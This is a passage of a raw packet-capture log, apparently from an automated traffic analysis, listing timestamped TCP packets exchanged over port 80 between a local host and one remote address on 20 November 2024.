        Nov 20, 2024 09:14:53.200297117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200311899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200325012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200339079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200352907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200366974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200366974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200366974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200366974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200395107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200423002 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200634003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200654984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200670958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200691938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200712919 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200723886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.200761080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.200793982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367398024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367414951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367440939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367456913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367464066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367469072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367480993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367496014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367508888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367531061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367531061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367531061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367583990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367603064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367614031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367620945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367625952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367639065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367641926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367660999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367670059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367679119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367691994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367695093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367703915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367717028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367716074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367738008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367758036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367804050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367815971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367825985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367836952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367846966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367856026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367856026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367866039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367878914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367901087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367903948 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367914915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.367934942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367934942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.367969990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368010044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368021011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368031979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368043900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368057966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368057966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368058920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368073940 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368104935 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368134022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368144035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368155956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368168116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368177891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368189096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368220091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368247032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368257999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368268967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368279934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368290901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368292093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368311882 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368333101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368335962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368344069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368429899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368504047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368515968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368527889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368537903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368549109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368566036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368570089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368578911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368582964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368593931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368606091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368633032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368654013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368659973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368671894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368683100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368694067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368704081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368716002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368729115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368803978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368843079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368854046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368864059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368875980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368886948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368897915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368904114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368911982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368916035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368926048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368936062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368959904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.368963003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.368971109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369010925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369096041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369108915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369119883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369131088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369142056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369152069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369163990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369172096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369177103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369189978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369199991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369203091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369215012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369218111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369239092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369265079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369297028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369309902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369321108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369335890 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369354010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369354010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369378090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369390011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369402885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369429111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369455099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369505882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369517088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369527102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369534016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369543076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369549990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369555950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369560003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369575024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369613886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369731903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369744062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369765997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369779110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369788885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369790077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369803905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369813919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369815111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369824886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369836092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369843960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369846106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369862080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369874001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369884014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369884014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369894028 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369898081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.369920969 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.369951010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.370073080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370085001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370096922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370106936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370112896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370119095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370120049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.370131016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370143890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370156050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370182991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.370203018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.370277882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370290041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370301962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370311975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370323896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.370330095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.370347023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.370356083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454329014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454364061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454381943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454426050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454459906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454474926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454482079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454493999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454519987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454524994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454536915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454546928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454557896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454575062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454586029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454605103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454622030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454628944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454641104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454669952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454670906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454684973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454685926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454701900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454720974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454730034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454735041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454761982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454766035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454771042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454818010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454834938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454854012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454863071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454873085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454886913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454891920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454895973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454904079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454911947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454919100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454967022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.454976082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.454983950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455024004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455039024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455054998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455068111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455070019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455077887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455085993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455111027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455116034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455132961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455133915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455149889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455158949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455168009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455169916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455184937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455192089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455203056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455224037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455226898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455239058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455255032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455279112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455302954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455302954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455329895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455343962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455374956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455389977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455394983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455418110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455441952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455463886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455545902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455560923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455574989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455590010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.455612898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.455635071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622330904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622347116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622363091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622402906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622504950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622520924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622559071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622617960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622684002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622695923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622708082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622728109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622740030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622767925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622767925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622803926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622832060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622849941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622860909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622878075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622889042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622891903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622900963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622917891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622945070 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.622982025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.622993946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623004913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623013973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623142958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623147011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623159885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623171091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623183966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623218060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623245955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623292923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623306036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623323917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623334885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623390913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623440027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623451948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623462915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623473883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623485088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623493910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623524904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623578072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623589039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623661995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623773098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623785019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623817921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623830080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623832941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623842001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623864889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623909950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623909950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.623955011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623965979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623976946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623984098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.623995066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624007940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624018908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624021053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624032021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624052048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624114037 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624283075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624294996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624305010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624325037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624335051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624345064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624356985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624357939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624368906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624403954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624430895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624437094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624445915 CET804970142.193.100.57192.168.2.11
